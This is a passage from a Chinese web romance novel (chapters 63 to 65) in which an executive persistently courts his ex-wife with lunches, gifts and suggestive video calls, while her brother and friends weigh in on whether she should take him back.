稳赚不赔的买卖。
顾衍南微笑:“高端酒店品牌的入驻,对景区服务水平的提升有很大的帮助,这是双赢。”
“顾氏旗下没有酒店品牌?”
“有是有,但最近顾氏的现金流主要用来做和通存的私募基金的项目了,没有闲钱。”
温砚信他的话就有鬼了,他这几天给夏夏送花的事在公司内部闹得沸沸扬扬,看来消停一阵子又要闹腾了。温砚对这个妹夫没什么喜欢不喜欢之说,但他曾让夏夏那么痛苦的事,他总得讨个说法。
机会送到面前,温砚也不留情面,直接道:“顾总,温氏很乐意跟顾氏合作,但我们副总之前说过,所有和顾氏有关的合作都得经过她的批准。”
“我这个妹妹生起气来我是不敢惹的,顾总如果真心想跟温氏合作,可以直接跟她谈,我没有权力决策。”
顾衍南怎么可能听不出这是托词,原本想跟温砚谈好,木已成舟,她只能接受,让她决策,她大概率不会松口。
送个钱这么麻烦。
顾大公子一阵郁闷,对着温砚微微一笑:“那好,我去找温副总谈,哥,你忙吧。”
温砚的眼皮又抽了下,等顾衍南走后,立刻拿起手机给温夏发了条短信:[你前夫发的什么疯?]
温夏:[?]
温砚:[他刚才来我办公室,一口一个的“哥”喊着,语气特别瘆人。]
“…………”
温夏盯着手机,顾衍南去找她哥了?还喊得这么热情?
虽然他从未说过,但温夏看得出顾衍南是不怎么喜欢她大哥的,就因为她之前有次脚崴了,大哥抱她从车上下来,他当时眼神就很沉,立刻把她接了过来。
他的占有欲真的很莫名其妙,她跟大哥可是有血缘关系的亲兄妹。
没离婚前,一口一个疏离的“温总”,现在喊“哥”,他自己不觉得尴尬吗?
正想着,门敲了两下,然后从外面拉开,温夏抬头,不怎么意外地看到顾衍南。
“你怎么还没走?”她的语气很不友好。
顾衍南:“有件事忘了问你。”
“什么?”
顾衍南走到她办公桌前,低眸望着她的眼睛,嗓音温润、礼貌得像谦谦君子:
“温大小姐,有幸请你吃午餐吗?”
第63章 顾衍南感到无比的挫败
“……”
还有幸, 装什么。
温夏很想对他翻白眼,但她是淑女,不能翻, 她把钢笔往桌上一扔, 语调淡淡:“我还有工作要忙。”
顾衍南唇角携着浅弧,低笑:“所以我约的是午餐,温副总总不会勤奋到连午饭都不吃了吧。”
“……”
温夏总觉得跟他说话很生气,他这幅彬彬有礼的态度,她要是发火搞得跟她脾气不好似的,明明是他说话的语气太讨厌。
就像是用力挥拳打在软棉花上,温夏一口气闷在胸口:“我不吃。”
真像个闹脾气的小孩子, 他看着别过脸故意不看他的女人,眸底的笑意越来越深。
外人都评价她性子端庄矜冷,可私下里,他们甜蜜那阵儿, 她的性格很孩子气, 就是一个别别扭扭的小姑娘。
顾衍南无奈地扯了扯嘴角, 绕过办公桌,拉了个椅子在她身旁坐了下来,一副哄孩子的语气:“怎么能不吃饭?你的胃没比我好多少, 你又想胃疼?”
他语气中带着几分不认同的责备,好像她是无理取闹、不愿意吃饭的小孩子。
温夏更恼了:“我就是不想吃。”
她爱吃不吃,关他什么事。
这幅闷着脸闹脾气的模样让顾衍南心软了软,也不顾忌自己目前还是个追求者, 伸手捏了下她的脸蛋,悠悠道:“你不答应的话,我就在你办公室不走了。”
终于暴露他无赖的本性了!
温夏怒瞪他, 用力拍掉他的手,“谁准你掐我的脸?你不是说追我吗?追求者可以随意掐我的脸?你有尊重过我的意愿?”
顾衍南反手握住那只打他的手,攥在掌心里捏了捏:“别的追求者当然不可以,而且我只是捏了下你的脸,已经很尊重你的意愿了,不然你当我只碰一下你的脸就满足了?”
当然不止,他想亲她,抱着她放在腿上亲,然后就这这个姿势让她把它吃进去。
只是碰一碰她的脸,他已经很绅士了。
温夏对他的强盗逻辑无话可说。
“好了,别闹小孩子脾气了,”顾衍南低声哄她,“吃饭的时候顺便谈谈私募基金的事。”
“谈公事的话,你可以来我的会议室。”
顾衍南挑起眉梢,温大小姐的架子端的不是一般的高,可他突然发觉,自己莫名就喜欢她这幅趾高气昂的模样。
“除了公事,还有私事,关于你妹妹的——”话头戛然而止,引人遐想。
温夏抬头看他,语气中有一丝紧张:“诗诗怎么了?”
就这么在乎她那个巨婴妹妹?二十五六的人了,能怎么样!
顾衍南敛下内心的不悦,故意道:“她最近身边不怎么太平。”
“怎么回事?”温夏急着问。
顾衍南却不想说了,抬手看了眼腕表:“我还有个会要开,中午吃饭的时候再说吧。”
温夏蹙眉看着他。
“不是什么大事,我记得她在工作上的自尊心还蛮强的,你问她她不一定会说。”
温诗在工作上,有自己的自尊心,她不愿意说的事,温夏和温砚不会过多干涉,可他这句话,轻而易举地勾起她的好奇心。
如果不知道的话,她可以不操心,可他说都说了,她怎么能不管?
顾衍南见她表情松动,继续道:“你不答应的话,我会磨到你答应为止,为了节省你的工作时间,我建议你早点同意。”
“……”
无赖。
自从那晚他说过要追她开始,他的脸皮越来越厚,那股高高在上的傲慢消失的无影无踪,就像甩不掉的狗皮膏药。
“你没工作要忙的吗?把时间都浪费在我这,顾氏的人还要不要吃饭?”
顾衍南今天的情话跟不要钱似的:“跟你待在一起怎么能叫浪费时间?你放心,顾氏的运行体系非常完善,年底给你的分红只多不少。”
当初离婚,他分给她一半的财产,其中就有顾氏的股份。
去年年底,她的账户就多了一笔有很多零的资金,他分给她的钱她全都没动,暂时也用不着。
“而且我缺的是老婆不是钱,当然要上赶着。”
温夏:“……”
软磨硬泡,温夏最终还是答应了,她丝毫不怀疑他的话——如果她不答应,整个上午她就别想忙正事了。
中午十二点整,她的办公室门准时被推开,男人的嗓音懒洋洋的:“温副总,该吃饭了。”
“我还没忙完,你饿了的话就先去吃,不用等我。”刚才答应他只是权宜之计,她才不要他说什么就是什么,温夏头也没抬地回道。
顾衍南早就料到她会反悔,走到办公桌前,瞥了眼屏幕中的内容,直接给她合上,“吃完再忙。”
“……谁准你关我电脑?要是有重要的文件没保存怎么办!”
顾衍南:“我又不瞎,标书而已,又不是原件。”
“……”
温夏深吸一口气,正要发火,顾衍南大步走到她跟前,拉着她的胳膊:“你自己去,或者我抱你去。”
“这个点正是吃饭的点,人来人往的,你很想当大猩猩被你的下属围观?”
温夏不吭声,脸上看不出什么情绪。
顾衍南心脏一紧,他最怕她这样,还不如扇他巴掌。他缓了缓语气,温声:“真的有事要和你谈,正事。”
温夏抽出自己的手,拿着手机起身,“走吧。”
顾衍南挡着她的路,低眸盯着她:“生气了?”
“我生气你就能走了?”
“不能,”顿了下,他补充了句,“但你生气,我可以道歉。”
“……”
温夏这下没忍住,直接翻了个白眼:“要是因为这点事我就生气,我每天光生气就行了。”
真生气倒也不至于,但她没什么要发脾气的想法,这顿午饭她不吃他会一直磨,与其这样,不如早吃早结束。
抱着这样的想法,温夏决定等会吃饭速战速决。
顾衍南带她来了附近的一家西餐厅,好在他没浮夸到搞什么包场,不过餐厅内的人不多。
商圈附近的上班族往往会选择快餐,有闲情雅致工作日来西餐厅吃午饭的,寥寥无几。
服务生带着他们到了顾衍南提前定好的卡座,顾衍南非常绅士地帮她拉椅子,温夏瞥了他一眼,淡定坐下。
顾衍南唇角微微翘起,低头看了眼自己暗红色的领带,他从她办公室离开后没去公司,而是回家换了条领带,颜色和她的衬衫很搭,就像是情侣间约会时刻意的搭配。
嗯,约会。
他们在约会。
这个认知让顾衍南心情更好,吃饭时,温夏没怎么搭理他他也丝毫不恼,从小蠢狗扯到明湖公馆院子里的海棠花开了,终于聊到正事:“我刚才去你哥办公室找他是谈合作的。”
他把想要温氏的酒店入驻度假村的项目说了一遍。
温夏抿了抿唇:“我哥怎么说?”
顾衍南耸了耸肩:“他说看你怎么想的。”
温夏陷入了沉默。
自从她和顾衍南离婚后,无意的刻意的,温砚在选择合作方时会刻意避开跟顾氏关联的公司,而顾氏光在国内的子公司就上百个,涉及各个领域,因为这层关系,导致温砚会放弃很多回报率明显很高的项目。
她的心思顾衍南能猜出七七八八,循循善诱:“温氏旗下酒店的知名度能提升景区的服务水准,我们合作是双赢,不管你跟不跟我合作,我都会追你,既然如此,你何必为了避开我连赚钱的机会都放过?更何况——”
温夏抬头看他。
男人低低笑出声:“你根本避不开我。”
“……”
温夏抿了抿唇,跳过这个话题,问道:“我妹妹怎么回事?”
“没怎么,就是代言被人抢了,对方买营销号黑她。”
“有吗?我怎么不知道?”
当然是因为他刚得知消息就让人处理了,这事才没有发酵。顾衍南没有邀功,并不是他想做活雷锋,而是她的脑回路跟别的女人不大一样,会觉得欠他的。
她确实欠他一辈子,但他要的是爱情,不是恩情。
“她经纪人能力挺强的,事情刚出就处理好了,没把事情闹得太大。”
温夏皱起眉,决定等会给温诗的经纪人打个电话。
然后跟大哥商量跟顾氏合作的事,顾衍南的说法虽然无赖,但却有理,既然不管怎么样都避不开他,何必放弃赚钱的机会?
这家西餐厅离温氏十分钟的车程,吃完饭,两人坐电梯往地下车库走,温夏看着助理发来的短信,不知不觉走到车边,顾衍南先一步帮她拉开副驾驶的车门,温夏瞥他一眼,弯腰上车。
顾衍南从车头绕到驾驶座,见她低头看手机,没有打扰她,转着方向盘驶出车库。
一路上很安静,和来的时候他不停找话题大相径庭,温夏回完助理短信后还看了他一眼。
车子很快抵达温氏的地下车库,温夏解开安全带要下车,一路无言的男人突然喊她:“温夏。”
温夏的动作顿住,抬眸看他。
顾衍南深深地看着她,喉结滚了几下,从口袋里拿出一条银色的手链:“送你的礼物。”
温夏怔住,低眸看向那条包装简单到只有一条链子的手链,然后抬头看向表情似乎有些不自然的男人。
“翡翠手镯你现在肯定不愿意戴,这手链是我前几天拍的,我猜你会喜欢,吊坠是你喜欢的四叶草。”
她有段时间很爱四叶草的饰品,收集了很多。温夏盯着他掌心的手链,轻描淡写道:“以前喜欢,现在不喜欢了,你不知道么,女人喜欢饰品,都是一阵一阵的。”
“哦,”他淡淡垂眸,“那我重新买一条,明天送给你。”
话落,见她真的没有收下的意思,他将那条他挑了很久的手链收回去。
不喜欢四叶草了么,他以为她还喜欢呢……
明明前段时间还戴了条四叶草的项链。
选了个她已经不喜欢的东西当礼物,还被拒收,顾衍南感到无比的挫败。
第64章 “床可以上,但名分晚点……
温夏当晚, 接到了阮眠的电话。
和顾衍南离婚后,她和阮眠还保持着联系,过年和她三十岁生日的时候, 阮眠还给她送了礼物。
对于这个真诚热情的姑娘, 温夏是把她当成妹妹看的,看到她打电话过来,以为有什么事要问自己,想也没想就接了。
阮眠扯了点有的没的,才切入哥哥交代的问题:“夏夏姐,我和江肆准备下周去法国玩,你有什么想要的吗?我正好买来送给你当……儿童节礼物。”
“……”
结合中午顾衍南送的那条手链, 想也不用想,阮眠是受到谁的指使,温夏笑着回:“我没什么需要的,你和江肆好好玩吧, 祝你们玩得开心。”
阮眠急道:“我们会好好玩的, 我最近购物欲爆棚, 夏夏姐你想要什么告诉我嘛,我给身边的人都带了礼物的,怎么能没有你的。”
“……”
温夏一时还真想不出来自己想要什么。
除了蓝宝石和珍珠, 她对饰品的喜爱都是一阵一阵的,而蓝宝石和珍珠的饰品,她的珠宝柜里一个月换着戴都不重样,至于其他的……嗯, 其实她现在还蛮喜欢四叶草的,只是不想收下他送的。
“真不用,等下次我有喜欢的, 再告诉你吧。”温夏婉拒。
阮眠瘪了瘪嘴,哥哥下午特意给她打了电话,交代她一定要问到答案,这样她怎么交差嘛……
正给她捏肩膀的江肆见妻子愁眉苦脸,皱着眉头,把手机从她手里拿了过来,单刀直入道:“顾衍南让她问的,你不愿意收他的礼物你直接跟他说,你们俩的事自己解决,少来烦我们。”
原本江肆觉得顾衍南这个大舅子还挺好的,可自从他和温夏离婚以后,阮眠就经常为着这个一大把年纪还把老婆作离婚的哥哥发愁,自从下午接到顾衍南的电话,晚饭都没吃好,他们最近正备孕呢,这些破事有多远踢多远。
莫名被怼了一通,温夏眼皮跳了下:“他烦的你们,关我什么事?”
江肆很不讲道理地道:“他因为你烦的我们,当然关你事。”
温夏:“……”
“你干嘛啊!”阮眠怒瞪他,把手机抢回来,努力找补,“夏夏姐,我哥是问我了,不过我是真的想送你礼物的,江肆不是那个意思,你不要跟他一般计较。”
都怪顾衍南给她惹事,温夏任命扶额:“我知道,我会给顾衍南打电话,你不要因为这事跟江肆吵架。”
阮眠愤愤地踢了江肆一脚,“唔。”
挂断电话,江肆顺势把妻子的脚包裹在掌心,凑过去吻她,却见她又拨了个号码,不满道:“又给谁打电话?”
阮眠:“我哥!”
顾衍南接到电话,听阮眠说任务失败,眼神微沉,不过阮眠很快接了句“嫂嫂说等会会给你打电话”,他的脸色缓了缓:“我知道了,你早点休息。”
电话挂断后,顾衍南靠在阳台的栏杆上,修长的手指把玩着手机,眯着眼睛,漫不经心地想,她给他打电话的第一句话会说什么呢?
一般都是他给她打电话,她没事的话很少会打给他,他喜欢她给他打电话,代表她需要他,等着她给他打电话……这感觉似乎也不错?
她和眠眠有联系这事,顾衍南是知道的,她对旁人都仁慈,就连老爷子年初生了场不大不小的病,她也趁着他不在医院的时候去看望,唯独对他心狠。
不过这也侧面说明,他对她来说是不一样的,她要是对他无悲无喜,他反倒要不高兴。
温大小姐这样清冷高傲的性子,能让她讨厌的人,他怕是头一个。
其他人,连她的眼都入不了,更遑论讨厌还是喜欢。
顾衍南越想越觉得自己对她来说是个很特殊的存在,他当然特殊,他是她第一个男人,他们还有过两年的婚礼,他们还养了一只狗,别的男人怎么能跟他比。
唇角的弧度越来越深,看着腕表指针一圈圈转过,九点半了,她还是没打来,顾衍南忍不住皱了下眉。
她故意敷衍眠眠的吗?
给他打个电话而已,有那么为难她?
他抬腿大步回到卧室,把手机扔到床上,余光瞥到墙上挂着的他们的婚纱照——离婚后,温夏住在这的期间把婚纱照摘了下来,顾衍南搬回来后,又挂了上去。
这婚纱照是他们后来重新拍的,婚礼前拍的那组,俩人就跟刚认识似的,连个眼神交汇都没有,她看都没看他,顾衍南每次一看那照片就生气。
于是就拉着她重新拍了一组。
这一张他最满意,她踮着脚主动亲他,眼里全是他。
他喜欢她主动,更喜欢她满眼都是他。
盯着照片看了几秒,顾衍南无奈地叹了声,温大小姐的架子大脸皮薄,还是他主动打吧,她愿意接他电话就行。
直接拨了个视频电话过去,顾衍南低头看了眼,等她接通的间隙,他眯起眼,把睡袍的系带扯掉,整个胸口完整暴露出来。
温夏点开视频第一眼,看到的就是男人紧绷、壮硕的胸肌,泛着淡淡的粉红,腹肌跟砖块似的码在腹部,结实又块状分明,人鱼线随着劲瘦的腰向下蔓延,隐约能看到内裤的边缘,以及把布料撑起来的蓬勃轮廓。
骚包得让温夏的眉骨忍不住跳了跳。
虽答应阮眠会给他打电话,但是温夏没想着大晚上给他打,计划明天上午再说,不过既然他打来了,她顺手就接了,完全没想到会看到这一幕。
正欲挂断,手机屏幕一黑,换成了顾衍南的脸,男人上来就质问她:“你不是跟眠眠说会给我打电话,都九点半了,怎么还没打?”
温夏看着他的脸,余光不可避免地落在那两团上,她挪开视线:“挂掉,打电话。”
“不是正在打么?”
“不要视频,只打电话。”
“为什么?”顾衍南一副很不理解的语气,“温大小姐,何必多此一举?”
温夏皱眉看着他。
顾衍南微顿,像是突然意识到什么,低头看了眼,然后随意地拢了拢睡袍领口,语调慵懒:“抱歉,没注意。”
胸肌勉强遮住,顾衍南笑着问:“现在可以聊了吗?”
不想显得太过矫情,温夏回他最初的质问:“我准备明天再给你打。”
“为什么?你又没睡觉,今晚为什么不能打?”
温夏淡淡道:“就是不想。”
“……”
沉默了片刻,顾衍南在视频那头愉悦地低笑出声:“好吧,既然温大小姐不想给我打,那以后由我打给你。”
温夏被他笑得又气又恼,尤其是他那一声“温大小姐”,莫名带着股阴阳怪气的意味,搞得跟她故意拿乔甩脸子一样。
他说他在追她,他主动给她打电话本来就是应该的,她接不接全看心情——这才是追求者和被追求者该有的相处模式。
温夏表情寡淡,语气带着她自己都未察觉的命令:“你以后不要再指示眠眠来问我,她又不是没有自己的生活,刚刚打电话过来,江肆都不高兴了。”
“他高不高兴,很重要?”
“……”
温夏闷着脸:“反正你不准再利用眠眠。”
“我让我的亲妹妹帮我个小忙,也叫利用?”
温夏正要开口,又听男人悠悠道:“不过温大小姐都这么吩咐了,我会照办。”
顿了下,他低低笑得:“我都听你的。”
他这幅慵懒的调调,听着特别讨厌,温夏直接冷下脸,冷哼了声:“我挂了。”
“等等,你还没告诉我你喜欢什么?我买来送给你。”
“没有喜欢的。”
顾衍南又笑出声:“宝贝儿,你不告诉我的话,那我就看什么顺眼买什么了,到最后你肯定是要收下的,不如你直接告诉我你喜欢什么。”
温夏朝他微微一笑:“我为什么肯定要收下?”
“因为我们肯定会复合,等我追到你,我会逼你把这段时间我买的所有礼物都戴一遍给我看。”
“……”
温夏连回怼的力气都没有了,冷笑两声:“那就等你追到再说吧。”
说完,她直接把电话挂了。
抱着手机,越想越生气,这混蛋一副势在必得的样子,她连句喜欢都没说过,他哪来的信心一定能追上她?
她看上去有这么好追?
这混蛋未免太自信了吧!!
送几束花几个礼物就能把她追到手,那她前男友早该能组成足球队了。
呵,呵呵。
-
之后的半个多月,顾衍南每天早上一束花,都是她还没到公司就送过来了,一进办公室就能看见花瓶里换上新的弗洛伊德。
每天傍晚,他只要不应酬就会来看言言,顺便把送她的小礼物带来,项链手链耳钉甚至脚链,除了戒指都送,不过温夏一个也没收下,拒绝的理由全是——
“不喜欢。”
顾衍南也不恼,她不要他就收回去,第二天换个新的款式,仿佛她一天不收他就一直送新的,直到她愿意收下为止。
他看着云淡风轻不温不火,实则步步紧逼,因为这一番毫不掩饰的操作,温氏所有的人都知道——顾氏集团的总裁,也就是他们温副总的前夫,正在追求温副总。
互联网时代,什么消息传的都快,之前她参加论坛会或者宴会酒会,还会有男人跟她搭讪,现在一个也没有,不过总有些不认识他们的人。
上次她逛超市有个大学生模样的男生要她微信,推着购物车的顾衍南直接把自己的微信二维码露了出来:“加我的就行。”
男生微怔:“你是谁?”
“你的前辈。”
“……”
男人幽幽道:“追她我有经验,她这么漂亮没有男朋友的原因很简单,就是因为她眼光高。连我这样的她都不怎么看得上,你觉得你哪里比得上我?”
男生上下打量着顾衍南,他也算是个小富二代,可眼前这个男人从头发丝到脚后跟都写着“有钱”、“非常有钱”,无论是反光的钻石腕表还是质地精良的衬衫,亦或是看着就价值不菲的锃亮的皮鞋,更遑论这被金钱和阅历打磨过的矜贵气质,没有一点是他能比得上的。男生气的满脸憋得通红,想了半天,最后吐出了句:“我比你年轻。”
“……”
顾衍南的脸不动声色地沉了下来,推着购物车撞了下男生的肩膀,语气轻慢:“小朋友,回去复习期末考试吧,少来掺和大人之间的事。”
这个年纪的男生,自尊心高于天,温夏瞥了顾衍南一眼,不懂他跟个小孩较什么劲,推了他一把,对着男生淡淡道:“不好意思,我不接受姐弟恋。”
男生用不解的眼神看她:“你比我大?”
“……”
顾衍南脸色更沉了,看向穿着白T和牛仔裤的女人,她最近穿的越来越减龄,扎着高丸子头,看着跟十八岁没差。
没有女人不喜欢被夸年龄小,尤其是过了三十岁,温夏低头笑了下:“我跟他差不多大。”
“你有二十五岁?”
顾衍南挑了挑眉,看着男生的眼神稍微缓了缓。
男生还是难以置信,总觉得俩人之间至少有五六岁的年龄差,这男的看着至少得二十五六了,她有这么大?
“她不仅跟我差不多大,还是我前妻,我们还有一个儿子,还是我准女朋友。”顾衍南如数家珍地报了上来。
男生就这样被赶走了。
等他走后,温夏问:“我们哪来的儿子?”
顾衍南睨着她:“小蠢狗。”
“……”
跟他们一个圈子里的人因为不想得罪顾衍南,没人搭理她,随机遇到的路人——他在场的话当场赶走,不在场的话会在得知后立刻赶走。
不知不觉,等温夏发现,她的追求者人数不知何时锐减到只剩下顾衍南一个人了。
就连温砚也发现这件事,吃午饭时,顺嘴提了句:“你前夫这打情敌的阵仗够大,上个月还有人套我的话问你是不是单身,这个月以来,一个都没有。”
顾衍南这么做,替温夏赶走许多烂桃花,她没说什么,反正她本来也不会接受那些追求者,这样正好落得轻松。
温砚也只是随口一说,他对温夏的感情生活向来不会插手,不过作为兄长,他还是嘱咐了句:“他要追你就让他追,别太快点头,多钓着他一段时间。”
“……”
温夏无语地看着他。
“床可以上,但名分不要这么早给。”温砚淡淡道。
“……哥!”
温砚睨着她:“你跟我装什么,你十八岁那年就跟他上过床的事你当我不知道?”
“…………”
温砚语气幽幽:“你不是爱出去玩的性子,那段时间整天不着家,经常彻夜不归,有几天在家都围着围巾,稍微查一查就知道了。”
大哥从未说过这件事,温夏一直以为除了霍瑾深之外没有别人知道,难以置信地看着他:“你叫人调查我?”
“不然你万一被什么黄毛穷小子骗走了怎么办?”温砚想起当年的事,语气还有点不满,“为了他,连年都不跟我和诗诗一起过,你自己看看,你那时候是不是很像被骗的无知少女?”
温夏一脸的一言难尽:“那你为什么不阻止我?”
温砚半眯着眼,不紧不慢道:“为什么要阻止?无论是顾家还是顾衍南,又不是拿不出手,如果你们俩能在一起,对你还有温氏都有好处。而且你那个时候一头热,我没那么无聊,做棒打鸳鸯的老式家长。”
一头热?
她哪有。
“你们俩最后掰了的时候,我还惋惜了一阵,”顿了下,他特意解释,“是惋惜你的感情,不是损失的利益。”
“……”
“这么多年你们俩都没有联系,我以为你们就这么断了呢,没想到兜兜转转又在一起了,”说到这,温砚突然想到那个年轻倔强的女孩说过的一个词,“你说,这是不是就是传说中的缘分?”
温夏抿了抿唇,正要开口反驳。
就听温砚不紧不慢地接了句:“哦不对,是孽缘。”
“…………”
第65章 虔诚的信徒(双更合一)……
“我哪有一头热?”温夏细细回忆当年的事, 大部分时间都是顾衍南约她,她怎么就“一头热”了。
温砚不紧不慢道:“对于别人来说也就那么回事,但你从小就喜欢一个人待着, 除了从音能把你喊出去, 你大部分时间不都一个人在家看书画画,让你这么高频率出门,还不算‘一头热?’”
温砚向来不爱管两个妹妹的闲事,当年查出那人是顾衍南后就没再关心了,后来得知两人掰了也觉得正常,毕竟两人当时才十八岁。
谁十八岁的时候就甘心承认自己这辈子非对方不可呢?
后来,他在监狱里, 听说夏夏嫁给了顾衍南,很奇怪,当时他没有感到太意外,好似内心深处早就预料过会有这个结果。
他曾在婚礼前问过夏夏, 是不是因为温氏才会嫁给顾衍南, 夏夏当时回他:“一部分, 如果不是他,我不会嫁。”
离婚后的那段时间,她每天都会逼着自己来公司, 她自己深处其中尚未察觉,温砚看得很清楚,她的精神状态很差劲,身体甚至都要被拖垮了。
后来, 她慢慢走了出来,把更多的时间投入到工作中,好像恢复了正常, 但却很少有什么能真正触动她情绪的事。
直到最近,顾衍南大张旗鼓地杀回她的世界,好几次他去办公室找夏夏谈事,撞见那不要脸的男人在献殷勤,而他总能调动夏夏的情绪。
温砚清楚,夏夏是喜欢他的,只是对他很失望,不敢敞开心扉接受他。
“人这一生,能碰到一个喜欢的人不容易,”温砚的语调慢悠悠的,“说不定哪天就死了,尽量不要让自己留遗憾。”
“……”
大哥真是很少讲大道理啊。
“你最近怎么关心起我的闲事了?”温夏眯了眯眼,想到诗诗偷摸告诉她的八卦,“哥,你不会终于要给我和诗诗找个嫂子了吧?”
温砚瞥她,很冷漠:“快吃,吃完去干活。”
温夏:“……”
-
鉴于温夏决定减轻工作量,把更多的时间留给创作新画作——她上周拿起画笔,发觉自己脑子里涌出许多灵感,她似乎恢复了创作的能力——所以温砚这段时间极力压榨她的劳动力。
周四,她和祁源一起去海南视察工作。
海南度假村是她第一个牵头投资的项目,度假村年初就开始正式运营了,财务报表上的数字非常可观。
温夏从文件中抬头,看向林沨,温声笑道:“辛苦了,度假村能有今天的成绩,都是你的功劳。”
两年的时间,让林沨褪去青涩,变得更加成熟,先是官方谦虚了一把,纠结许久,缓缓开口:“温副总,其实有件事,我一直没有告诉您。”
“什么事?”
林沨扶了下镜框:“这个项目能这么快投入运营,其中有很大一部分的原因是——顾总已经提前把关系打通好了。”
温夏指尖微动,抬眸看他:“什么意思?”
林沨看着她迷茫的表情,想起一年多前,顾衍南用齐家和林家威逼利诱他从温夏身边离开的那一幕,其实算不上威逼,顾衍南只是把现实摆在他面前,给他指了条明路。
只要按照他说的做,他就能摆脱做旗子的命运。
顾衍南还承诺,如果林家或者齐家的人逼他,他会出面帮他解决。
林沨当然清楚他不会这么好心,不过是知道如果他被逼无奈求助温副总,温副总不会插手不管,才主动管他的闲事。
温副总……他垂眸看向温柔端庄的女子,想起了一件很多年前的事。
他的生母是一个可怜又可恨的女人,在他小的时候,她弄不清自己只是那男人众多情妇中一员的事实,每每听说哪个情妇又怀了那男人的孩子,情绪就会不受控制,最后发泄到他身上。
每次打完他之后,又会抱着他痛哭,哭着说妈妈没用,是妈妈对不起你,没本事让你认祖归宗。
母亲在生活上对他百般照顾百般体贴,那时候的林沨很痛苦也很矛盾,每当他生出一点反抗的念头,母亲就会立刻哭着向他道歉。
又一次被酗酒的母亲打骂,他跑了出去,漆黑的雨夜,他浑身湿漉漉的,像一只无家可归的流浪狗。
他就是这时看到温夏,她穿着一条月白色长裙,扎着马尾,背着书包,不经意看到坐在路灯下的他。
下意识的,他躲开了她的视线,不想让她看到自己的狼狈。
她走进便利店,不知道买了什么东西,然后上了私家车。
他就望着她的车越走越远,视线也越来越模糊,嘲弄地勾了勾唇,一拳挥在墙面上。
在奢望什么呢,她长得跟仙女似的,不代表她真的是仙女。
就算是仙女下凡,也不会怜悯从未得到过半分仁慈的他。
突然,便利店的门开了,走出来两个店员,递给他一把伞和热气腾腾的食物:“小朋友,你家在哪儿?我们送你回去。”
“我没家。”他的口气不算好。
那位男店员口气也冲了起来:“别不识好歹,刚才那小姑娘给我们钱,让我们给你的,爱要不要。”
一把伞,一份食物,还有装在笔袋里的纸币,以及笔袋里的白纸上写的两个娟秀的字:“自渡。”
她随手施舍的怜悯,让他记了好多年。
他学着跟自己的不甘和解,学着处理母亲的情绪,他上了最好的大学,他终于来到她身边。
可没多久,他就被赶走了,被那个不喜她身边有任何异性甚至同性的丈夫。
他知道自己配不上她,也知道温副总喜欢顾衍南,而顾衍南这番举措无论是何目的,都帮他摆脱了桎梏。
林沨没有隐瞒,如实道:“顾总早在度假村还在建的时候就让周书记‘关照’顾氏了,他一直关心这边的进度,每次出了点什么问题,我还没来得及汇报总部,他就派人来解决了,所以才会这么顺利。”
顿了下,他喉结轻滚,哑声说:“温副总,您对他很重要。”
-
这次出差,梁从音也来了,导致祁源本来是出差的,变成了陪老婆度假。
检查完这半年的财务报告,他就被梁从音拉走了,一直到晚饭时间才想起来还有个温夏。
一顿晚饭,温夏坐在对面,看着两人互相喂食腻歪,趁着祁源去打电话,她忍不住吐槽:“你就不能忍一忍,非要当着我的面秀恩爱吗?我很尴尬的。”
梁从音托腮:“新婚期啦,你体谅我一下嘛。”
“你这新婚期都多久了,还没腻完?”温夏懒得吐槽,“你们婚礼准备的怎么样了?”
“一切按计划进行,你千万要把时间空出来,给我当伴娘,不然我会闹的!”
温夏敷衍地嗯了声:“知道。”
“哎,顾衍南最近追你追的怎么样了?”梁从音眨了眨眼。
“就那样。”
“哪样哪样?”
“送花送礼物,每日不断。”
“所以你们有什么进展?”她对准两根食指,“那个方面的?”
温夏睨她:“我们是很纯洁的追求者和被追求者的关系。”
梁从音轻哼:“我不信,都说前夫和前妻在离婚后滚上床的概率比没离婚前上床的频率还要高,顾大公子就这么老实,不对你动手动脚?”
“我当时追我们家祁总监的时候,经常求亲亲呢。”
顾衍南没有“求亲亲”,但温夏觉得,他就是在故意勾引她。每次视频,总是要不经意露出半裸体,他的领口永远是敞着的,来看言言的时候,衬衫领口也要露很多。
最过分的事,有一天晚上,她正准备睡觉,他发给她一张特别劲爆的腹肌照,刚洗过澡,身上湿漉漉的,全身上下围着一条浴巾。
修长的手指拽着浴巾边缘,仿佛下一秒就会扯掉,所有原始的东西都会暴露出来。
自从离婚以后,温夏有半年没做过了,脑子里几乎是条件反射修补出浴巾下的画面,嗓子变得有些干,那些抵死缠绵的画面一幕幕在脑海中闪现。
大半夜发撩骚的照片给她,温夏气的把他的微信拉黑,过了几分钟,顾衍南打电话过来,质问她为什么拉黑他,温夏冷冷地回了句:“我以为你被盗号了。”
“…………”
“你指的是我的半裸照?”他的声音不紧不慢,丝毫没有被拆穿的慌张,“我本来想发给文件传输助手的,不小心发错了。”
温夏才不会信他的鬼话,直接挂断电话。
到现在,顾衍南的微信都没从黑名单里出来。
他就是在故意勾引她。
用他的身体。
“想什么呢?”梁从音见她出神,伸手在她面前挥了挥。
温夏回神:“没什么。”
梁从音显然不信,但也没多问,换了个话题:“说真的,你怎么想的啊?”
温夏握着手中的叉子,过了几秒,摇摇头:“我不知道。”
大哥也问她怎么想的,顾衍南也明里暗里试探她对他是什么打算,但温夏真的不知道。
她现在没有跟他做夫妻,甚至是恋人的打算。
但也没有力气再去躲他,远离他。
更何况,她根本躲不掉。
无论是向前走,还是往后退,都会耗费她很多的心力。
她不想再动了,她就站在原地,他们俩能走到哪里,以后再说吧。
梁从音很懂温夏,猜出她的想法,凑过去小声问她:“你们俩自从离婚之后,你那什么过没有?”
“……”温夏无语地看着她。
梁从音瞥她:“怎么说你也是在外留学回来的好吗,能不能不要谈性变色,我跟我们家祁总监每晚都要的,我们这个年纪的女人身体受激素的影响,有需求是正常现象。”
温夏不想跟她在这么高雅的餐厅谈论性生活,但梁从音可不管这些,建议道:“我看有顾大公子在,你敢找别的男人上床,他下一秒就得带着警察上门扫黄,你不如就把他当鸭,还不要花钱,多合算哇!”
温夏插了个小番茄塞进她的嘴里,笑眯眯的:“吃你的饭。”
“唔唔……”
祁源恰好回来,“怎么了?”
梁从音咬掉小番茄,愤愤道:“老公,她欺负我!”
“你作为她的学长,要替她道歉!”
“……”
祁源无奈地看向温夏,温夏别过脸,看向窗外,做出回避的姿态。
亲了好一会,梁从音才哑声说:“接着吃饭吧。”
饭后,三人一起走在沙滩上,祁源和梁从音要回酒店,温夏说自己再走走,就此分开。
男人一手搂着女人的肩膀,另一只手牵着她的手,光从背影就能看得出恩爱甜蜜。
